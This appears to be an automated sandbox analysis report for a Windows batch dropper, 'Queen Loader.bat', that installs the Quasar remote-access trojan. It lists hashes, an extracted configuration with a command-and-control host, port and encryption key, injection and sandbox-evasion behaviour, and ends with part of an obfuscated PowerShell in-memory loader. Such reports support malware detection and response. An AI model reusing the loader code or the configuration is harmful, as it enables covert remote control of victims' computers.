Analysis
-
max time kernel
300s -
max time network
299s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
28-05-2024 15:23
Static task
static1
Behavioral task
behavioral1
Sample
Queen Loader.bat
Resource
win10-20240404-en
Behavioral task
behavioral2
Sample
Queen Loader.bat
Resource
win10v2004-20240508-en
General
-
Target
Queen Loader.bat
-
Size
1002KB
-
MD5
f6d5bfaee8a55ff72c7b453fda066d62
-
SHA1
7d737d53013990e5d05076b7206e43eb4793fc7f
-
SHA256
3ff8b6a041a96625d730dfe770eb6e84be8ce99fc50a0027724e48394f053308
-
SHA512
e300c15bef9e898e7abd4ecf6759c0e60829e8d9b507e257359b0c0342c56d56adf7924c76ffbbee4c42e1b1ea229b7032d177849d2668720090780190b7f284
-
SSDEEP
12288:NzPPeJOTZMGuIl99I2FxGwvYXDSeengmfn5tKvy0H5JbcGfRZIJZ32hxnQxCGaF9:NDeYum99IGP8f2rRO5JFPIJZ8GaF8XmB
Malware Config
Extracted
quasar
-
reconnect_delay
3000
Extracted
quasar
3.1.5
Video
runderscore00-25501.portmap.host:25501
$Sxr-oWTh3ZS9htfe80iIl5
-
encryption_key
zK8u0rpHf4TJzGf65Flt
-
install_name
Win11.exe
-
log_directory
$sxr-Logs
-
reconnect_delay
3000
-
startup_key
Windows 11 Boot
-
subdirectory
Win11
Signatures
-
Quasar payload 4 IoCs
Processes:
resource yara_rule behavioral1/memory/3652-34-0x00000000094B0000-0x00000000095A2000-memory.dmp family_quasar behavioral1/memory/2400-204-0x000000000A7B0000-0x000000000A81C000-memory.dmp family_quasar C:\Users\Admin\AppData\Local\Temp\New.exe family_quasar behavioral1/memory/4220-224-0x0000000000D90000-0x0000000000DFC000-memory.dmp family_quasar -
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3660 created 568 3660 powershell.EXE winlogon.exe -
Blocklisted process makes network request 4 IoCs
Processes:
powershell.exeflow pid process 4 2400 powershell.exe 7 2400 powershell.exe 9 2400 powershell.exe 11 2400 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepowershell.exepid process 3652 powershell.exe 4908 powershell.exe 2400 powershell.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Executes dropped EXE 2 IoCs
Processes:
New.exeInstall.exepid process 4220 New.exe 5116 Install.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Drops file in System32 directory 15 IoCs
Processes:
svchost.exepowershell.EXEOfficeClickToRun.exesvchost.exesvchost.exedescription ioc process File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9C237ECACBCB4101A3BE740DF0E53F83 svchost.exe File opened for modification C:\Windows\System32\Tasks\$77New.exe svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\System32\Winevt\Logs\Microsoft-Windows-Storage-Storport%4Operational.evtx svchost.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6D1A73D92C4DC2751A4B5A2404E1BDCC svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04 OfficeClickToRun.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.EXEdescription pid process target process PID 3660 set thread context of 5100 3660 powershell.EXE dllhost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
wmiprvse.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Modifies data under HKEY_USERS 58 IoCs
Processes:
powershell.EXEOfficeClickToRun.exesvchost.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0 OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\OnDemandInterfaceCache OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1716909904" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key deleted \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1a\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 28 May 2024 15:25:05 GMT" OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={447BF857-54C7-402E-9358-1A2490BB118D}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&" OfficeClickToRun.exe -
Modifies registry class 1 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3699363923-1875576828-3287151903-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.EXEdllhost.exepid process 3652 powershell.exe 3652 powershell.exe 3652 powershell.exe 4908 powershell.exe 4908 powershell.exe 4908 powershell.exe 2400 powershell.exe 2400 powershell.exe 2400 powershell.exe 3660 powershell.EXE 3660 powershell.EXE 3660 powershell.EXE 3660 powershell.EXE 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe 5100 dllhost.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 3652 powershell.exe Token: SeDebugPrivilege 4908 powershell.exe Token: SeIncreaseQuotaPrivilege 4908 powershell.exe Token: SeSecurityPrivilege 4908 powershell.exe Token: SeTakeOwnershipPrivilege 4908 powershell.exe Token: SeLoadDriverPrivilege 4908 powershell.exe Token: SeSystemProfilePrivilege 4908 powershell.exe Token: SeSystemtimePrivilege 4908 powershell.exe Token: SeProfSingleProcessPrivilege 4908 powershell.exe Token: SeIncBasePriorityPrivilege 4908 powershell.exe Token: SeCreatePagefilePrivilege 4908 powershell.exe Token: SeBackupPrivilege 4908 powershell.exe Token: SeRestorePrivilege 4908 powershell.exe Token: SeShutdownPrivilege 4908 powershell.exe Token: SeDebugPrivilege 4908 powershell.exe Token: SeSystemEnvironmentPrivilege 4908 powershell.exe Token: SeRemoteShutdownPrivilege 4908 powershell.exe Token: SeUndockPrivilege 4908 powershell.exe Token: SeManageVolumePrivilege 4908 powershell.exe Token: 33 4908 powershell.exe Token: 34 4908 powershell.exe Token: 35 4908 powershell.exe Token: 36 4908 powershell.exe Token: SeIncreaseQuotaPrivilege 4908 powershell.exe Token: SeSecurityPrivilege 4908 powershell.exe Token: SeTakeOwnershipPrivilege 4908 powershell.exe Token: SeLoadDriverPrivilege 4908 powershell.exe Token: SeSystemProfilePrivilege 4908 powershell.exe Token: SeSystemtimePrivilege 4908 powershell.exe Token: SeProfSingleProcessPrivilege 4908 powershell.exe Token: SeIncBasePriorityPrivilege 4908 powershell.exe Token: SeCreatePagefilePrivilege 4908 powershell.exe Token: SeBackupPrivilege 4908 powershell.exe Token: SeRestorePrivilege 4908 powershell.exe Token: SeShutdownPrivilege 4908 powershell.exe Token: SeDebugPrivilege 4908 powershell.exe Token: SeSystemEnvironmentPrivilege 4908 powershell.exe Token: SeRemoteShutdownPrivilege 4908 powershell.exe Token: SeUndockPrivilege 4908 powershell.exe Token: SeManageVolumePrivilege 4908 powershell.exe Token: 33 4908 powershell.exe Token: 34 4908 powershell.exe Token: 35 4908 powershell.exe Token: 36 4908 powershell.exe Token: SeIncreaseQuotaPrivilege 4908 powershell.exe Token: SeSecurityPrivilege 4908 powershell.exe Token: SeTakeOwnershipPrivilege 4908 powershell.exe Token: SeLoadDriverPrivilege 4908 powershell.exe Token: SeSystemProfilePrivilege 4908 powershell.exe Token: SeSystemtimePrivilege 4908 powershell.exe Token: SeProfSingleProcessPrivilege 4908 powershell.exe Token: SeIncBasePriorityPrivilege 4908 powershell.exe Token: SeCreatePagefilePrivilege 4908 powershell.exe Token: SeBackupPrivilege 4908 powershell.exe Token: SeRestorePrivilege 4908 powershell.exe Token: SeShutdownPrivilege 4908 powershell.exe Token: SeDebugPrivilege 4908 powershell.exe Token: SeSystemEnvironmentPrivilege 4908 powershell.exe Token: SeRemoteShutdownPrivilege 4908 powershell.exe Token: SeUndockPrivilege 4908 powershell.exe Token: SeManageVolumePrivilege 4908 powershell.exe Token: 33 4908 powershell.exe Token: 34 4908 powershell.exe Token: 35 4908 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
powershell.exepid process 2400 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
cmd.exepowershell.exeWScript.execmd.exepowershell.exepowershell.EXEdllhost.exedescription pid process target process PID 3296 wrote to memory of 3652 3296 cmd.exe powershell.exe PID 3296 wrote to memory of 3652 3296 cmd.exe powershell.exe PID 3296 wrote to memory of 3652 3296 cmd.exe powershell.exe PID 3652 wrote to memory of 4908 3652 powershell.exe powershell.exe PID 3652 wrote to memory of 4908 3652 powershell.exe powershell.exe PID 3652 wrote to memory of 4908 3652 powershell.exe powershell.exe PID 3652 wrote to memory of 520 3652 powershell.exe WScript.exe PID 3652 wrote to memory of 520 3652 powershell.exe WScript.exe PID 3652 wrote to memory of 520 3652 powershell.exe WScript.exe PID 520 wrote to memory of 3984 520 WScript.exe cmd.exe PID 520 wrote to memory of 3984 520 WScript.exe cmd.exe PID 520 wrote to memory of 3984 520 WScript.exe cmd.exe PID 3984 wrote to memory of 2400 3984 cmd.exe powershell.exe PID 3984 wrote to memory of 2400 3984 cmd.exe powershell.exe PID 3984 wrote to memory of 2400 3984 cmd.exe powershell.exe PID 2400 wrote to memory of 4220 2400 powershell.exe New.exe PID 2400 wrote to memory of 4220 2400 powershell.exe New.exe PID 2400 wrote to memory of 4220 2400 powershell.exe New.exe PID 2400 wrote to memory of 5116 2400 powershell.exe Install.exe PID 2400 wrote to memory of 5116 2400 powershell.exe Install.exe PID 2400 wrote to memory of 5116 2400 powershell.exe Install.exe PID 3660 wrote to memory of 5100 3660 powershell.EXE dllhost.exe PID 3660 wrote to memory of 5100 3660 powershell.EXE dllhost.exe PID 3660 wrote to memory of 5100 3660 powershell.EXE dllhost.exe PID 3660 wrote to memory of 5100 3660 powershell.EXE dllhost.exe PID 3660 wrote to memory of 5100 3660 powershell.EXE dllhost.exe PID 3660 wrote to memory of 5100 3660 powershell.EXE dllhost.exe PID 3660 wrote to memory of 5100 3660 powershell.EXE dllhost.exe PID 3660 wrote to memory of 5100 3660 powershell.EXE dllhost.exe PID 5100 wrote to memory of 568 5100 dllhost.exe winlogon.exe PID 5100 wrote to memory of 632 5100 dllhost.exe lsass.exe PID 5100 wrote to memory of 720 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 908 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 984 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 992 5100 dllhost.exe dwm.exe PID 5100 wrote to memory of 344 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 376 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 616 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1028 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1096 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1148 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1208 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1236 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1244 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1340 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1400 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1448 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1484 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1500 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1556 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1644 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1700 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1756 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1764 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1828 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1852 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 1996 5100 dllhost.exe spoolsv.exe PID 5100 wrote to memory of 1692 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 2096 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 2252 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 2508 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 2516 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 2524 5100 dllhost.exe svchost.exe PID 5100 wrote to memory of 2668 5100 dllhost.exe svchost.exe
Processes
-
C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:568
-
C:\Windows\system32\dwm.exe"dwm.exe"2⤵PID:992
-
C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{e9b002dc-8ae9-4a12-a087-af98294a871e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5100
-
C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:632
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay1⤵PID:720
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k dcomlaunch -s LSM1⤵PID:908
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DsmSvc1⤵PID:984
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts1⤵PID:344
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s gpsvc1⤵PID:376
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService1⤵PID:616
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog1⤵
- Drops file in System32 directory
PID:1028
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Schedule1⤵
- Drops file in System32 directory
PID:1096 -
c:\windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2884
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:atfYqTIRigYx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$KqcCEgTXEmonKv,[Parameter(Position=1)][Type]$oCncOdEJbP)$VUIOWoTeiec=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+'e'+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+'e'+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+[Char](103)+''+[Char](97)+'te')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('I'+'n'+''+'M'+''+[Char](101)+'m'+'o'+''+[Char](114)+'y'+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+'e',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+''+'l'+''+'e'+''+'g'+''+'a'+''+[Char](116)+''+'e'+''+[Char](84)+''+'y'+''+'p'+''+'e'+'','C'+'l'+''+[Char](97)+''+[Char](115)+'s'+[Char](44)+''+[Char](80)+'u'+'b'+''+[Char](108)+''+[Char](105)+''+'c'+''+','+''+[Char](83)+''+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+'d'+[Char](44)+''+[Char](65)+''+'n'+''+'s'+''+'i'+''+[Char](67)+'l'+'a'+'ss,'+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+'C'+[Char](108)+''+'a'+''+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$VUIOWoTeiec.DefineConstructor('R'+[Char](84)+'S'+[Char](112)+'e'+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+'N'+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+''+[Char](105)+'d'+[Char](101)+''+[Char](66)+''+[Char](121)+''+'S'+'i'+[Char](103)+''+','+''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$KqcCEgTXEmonKv).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+[Char](110)+''+[Char](97)+''+'g'+''+[Char](101)+''+'d'+'');$VUIOWoTeiec.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+''+[Char](107)+''+[Char](101)+'','P'+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'Hid'+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+[Char](101)+'wS'+[Char](108)+''+'o'+''+[Char](116)+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+''+[Char](108)+'',$oCncOdEJbP,$KqcCEgTXEmonKv).SetImplementationFlags(''+[Char](82)+'u'+'n'+''+[Char](116)+''+[Char](105)+'me'+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'g'+[Char](101)+'d');Write-Output $VUIOWoTeiec.CreateType();}$qhuMRxUgHNTxj=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 